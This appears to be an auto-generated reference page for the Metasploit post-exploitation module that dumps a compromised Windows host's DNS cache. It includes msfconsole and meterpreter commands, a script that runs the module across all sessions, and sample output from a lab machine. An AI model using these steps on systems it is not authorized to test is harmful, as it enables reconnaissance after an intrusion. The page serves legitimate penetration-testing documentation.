Windows Gather DNS Cache - Metasploit


This page contains detailed information about how to use the post/windows/gather/dnscache_dump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Gather DNS Cache
Module: post/windows/gather/dnscache_dump
Source code: modules/post/windows/gather/dnscache_dump.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module displays the records stored in the DNS cache.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/dnscache_dump

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/dnscache_dump
msf post(dnscache_dump) > show options
    ... show and set options ...
msf post(dnscache_dump) > set SESSION session-id
msf post(dnscache_dump) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/dnscache_dump")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


This module displays the records stored in the DNS cache. This is done by loading the dnsapi DLL and calling the DnsGetCacheDataTable function.

Verification Steps


  1. Start msfconsole
  2. Get a session on a Windows target
  3. Do: use post/windows/gather/dnscache_dump
  4. Do: set session #
  5. Do: run
  6. You should get the DNS entries in cache

Scenarios


Windows 10

msf6 post(windows/gather/dnscache_dump) > sessions -i 5
[*] Starting interaction with 5...

meterpreter > sysinfo
Computer        : MSEDGEWIN10
OS              : Windows 10 (10.0 Build 16299).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > background
[*] Backgrounding session 5...
msf6 post(windows/gather/dnscache_dump) > run

[*] DNS Cached Entries
==================

   TYPE  DOMAIN
   ----  ------
   0001  api.mixpanel.com
   0001  developers.facebook.com
   0001  api.phantom.avira-vpn.com
   0001  settings.data.microsoft.com
   0001  activation-v2.sls.microsoft.com
   0001  api.flickr.com
   0001  win1710.ipv6.microsoft.com
   0001  smtp.gmail.com
   0001  client.wns.windows.com
   0001  bling2.midasplayer.com
   0001  www.bing.com
   0001  imap.gmail.com
   0001  www.msftncsi.com
   0001  v10.vortex-win.data.microsoft.com
   0001  evoke-windowsservices-tas.msedge.net
   0001  inference.location.live.net
   0001  settings-win.data.microsoft.com
   0001  ctldl.windowsupdate.com
   0001  tile-service.weather.microsoft.com
   0001  s.ss2.us
   0001  cdn.onenote.net
   0001  logincdn.msauth.net
   0001  telecommand.telemetry.microsoft.com
   0001  validation-v2.sls.microsoft.com
   0001  dns.msftncsi.com
   0001  dns.msftncsi.com
   0001  dispatch.avira-update.com
   0001  dispatch.avira-update.com
   0001  api.my.avira.com
   0001  prod.tl.avira.com
   0001  sls.update.microsoft.com
   0001  content.ivanti.com
   0001  api.facebook.com
   0001  login.live.com
   0001  personal.avira-update.com
   0001  g.live.com
   0001  candycrushsoda.king.com
   0001  ssldev.oes.avira.com
   0001  cdn.content.prod.cms.msn.com
   0001  v20.vortex-win.data.microsoft.com
   0001  geo2.adobe.com
   0001  o.ss2.us
   0001  time.windows.com
   0001  watson.telemetry.microsoft.com
   00ff  cxnsxtnu
   00ff  _ldap._tcp.dc._msdcs.msedgewin10
   00ff  wpad

[*] Post module execution completed

Go back to menu.

Msfconsole Usage


Here is how the windows/gather/dnscache_dump post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/dnscache_dump

msf6 post(windows/gather/dnscache_dump) > show info

       Name: Windows Gather DNS Cache
     Module: post/windows/gather/dnscache_dump
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Borja Merino <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module displays the records stored in the DNS cache.

Module Options


This is a complete list of options available in the windows/gather/dnscache_dump post exploitation module:

msf6 post(windows/gather/dnscache_dump) > show options

Module options (post/windows/gather/dnscache_dump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/gather/dnscache_dump post exploitation module:

msf6 post(windows/gather/dnscache_dump) > show advanced

Module advanced options (post/windows/gather/dnscache_dump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/gather/dnscache_dump module can do:

msf6 post(windows/gather/dnscache_dump) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/gather/dnscache_dump post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/dnscache_dump) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Borja Merino <bmerinofe[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.